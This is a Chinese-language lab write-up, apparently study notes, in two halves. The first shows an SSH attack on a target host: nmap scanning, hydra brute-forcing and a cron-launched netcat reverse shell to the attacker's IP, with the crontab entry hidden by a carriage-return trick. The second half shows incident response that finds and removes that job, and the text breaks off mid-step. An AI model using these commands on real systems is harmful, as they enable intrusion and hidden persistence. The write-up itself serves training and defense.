(本文仅为学习记录,请不要做违法犯罪行为)
目录
一、SSH远程攻击
攻击机:192.168.xxx.130
靶机:10.133.xxx.159(目标主机)
0、信息收集,端口扫描(发现22端口开放,尝试爆破ssh)
nmap 10.133.xxx.159
1、使用hydra进行爆破
hydra -L users.txt -P password.txt ssh://10.133.xxx.159
2、拿到用户名和密码,登录靶机
ssh xxx@10.133.xxx.159
3、创建隐藏计划任务
进入/tmp目录创建 task.sh 文件
#!/bin/bash
nc 192.168.xxx.130 7777 -e /bin/bash(反弹shell的脚本)
查看task.sh权限 ls -l task.sh
4、增加执行权限
chmod +x task.sh
5、创建计划任务test.sh(*表示每隔一分钟就执行task.sh文件)
(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for `whoami`%100c\n")|crontab -
6、同样给test.sh增加执行权限
chmod +x test.sh
7、重新打开一个终端(尝试nc链接目标主机的shell)
输入命令:nc -lvp 7777(开启监听)
8、为什么要搞个计划任务来反弹shell
避免对方修改密码后或者关机后而连不上ssh(权限维持)
################################################(以上操作都在攻击机上实现)
目标主机进行应急响应
1、netstat -antpl 查看连接
发现有可疑的外部ip连接
2、查看进程树
pstree -p
3、查看具体进程
systemctl status 4616(pid)
发现它是经过计划任务来执行的
4、查看计划任务
crontab -l(这个命令不可以查看到)
cat -A /var/spool/cron/sumql
5、查看到/tmp/task.sh这个路径
接着查看里面有什么内容,以及是什么时间上传的
ls -l /tmp/task.sh
cat /tmp/task.sh
6、发现里面的内容为,用nc反弹一个shell
7、接着进行溯源(wtmp指的是登录成功的日志;btmp指的是登录失败的日志)
查看日志:last -f /var/log/wtmp
在查看日志的时候,我们知道了,我们的用户名和登录密码被爆破了,并且攻击方创建了计划任务
8、删除隐藏的计划任务
crontab -r -u sumql
9、再使用cat -A /var/spool/cron/sumql这个命令查看计划任务,发现没有了
10、接着杀掉进程pid
kill 4616
11、cd /tmp将task.s